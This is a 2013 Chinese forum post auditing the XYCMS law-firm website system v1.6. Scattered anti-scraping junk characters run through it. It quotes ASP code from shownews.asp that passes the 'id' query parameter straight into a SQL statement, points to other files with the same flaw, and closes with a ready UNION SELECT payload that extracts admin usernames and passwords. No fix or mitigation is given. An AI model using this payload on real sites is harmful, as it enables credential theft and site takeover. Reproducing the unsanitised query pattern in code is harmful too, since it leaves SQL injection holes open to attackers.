前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
! m8 |' O0 P* r 1 _' k8 C* b; d1 }9 Y$ ?( K
淫荡分割线. t, J3 u2 b% M' w: J2 ]
--------------------------------------------------------5 V7 g( M% P1 j: w- f
: g1 B1 J9 ?( z* n. c( A, y+ k审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
2 U# Y6 p& F: T$ O/ t源码地址:http://down.chinaz.com/soft/29233.htm( E1 O. E, ?) Z M
/ {, I. v% ^8 {- Y5 e漏洞文件:shownews.asp) ?( u4 b0 v+ G& E9 z- w
漏洞代码：7-13行
" I" Y) ]+ G4 ^7 v- h * _5 z2 A" k7 u) v
t& Y" F& v! a6 j7 c' A' C; |/ A
<% 3 ~0 P6 X w; O8 E8 S5 R7 r4 ^, W
id=request.QueryString("id")
& m( {3 x5 H, J) ~- O
1 I' n: V/ i& G' p9 ^ gset snews=server.createobject("adodb.recordset") . i4 U3 G' T, x, V
exec="select * from [news] where id="&id3 W3 k, a% {% b9 i1 C1 p+ h
snews.open exec,conn,1,1
* _: M( H R8 e9 p- t% q5 a* c%>
5 U: I; d' g# a2 H w. k0 ^ 7 q: l& C- [/ g, Q8 j5 V% j
+ w9 X: F& y) X B
什么过滤都没有 直造成注入
6 O b5 Y l0 O/ A " |+ Z3 e+ N3 c- v$ e" t+ h
注入点:http://127.0.0.1:99/shownews.asp?id=xx
6 V( O7 I8 ?9 F) m9 r
2 c% S9 R C9 D6 O3 ?8 {+ u% B其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
2 W$ q5 K# V: m, }7 T
* x$ B* @2 J2 i " ]3 P( M, E# H; k* R
exp: union select 1,admin,password,4,5,7 from admin_user+ M7 r1 K1 G: o0 |! ^
+ p+ ^1 D& k6 w& X8 Y! r
|
发表于 2013-4-4 17:28:12
收藏
支持
反对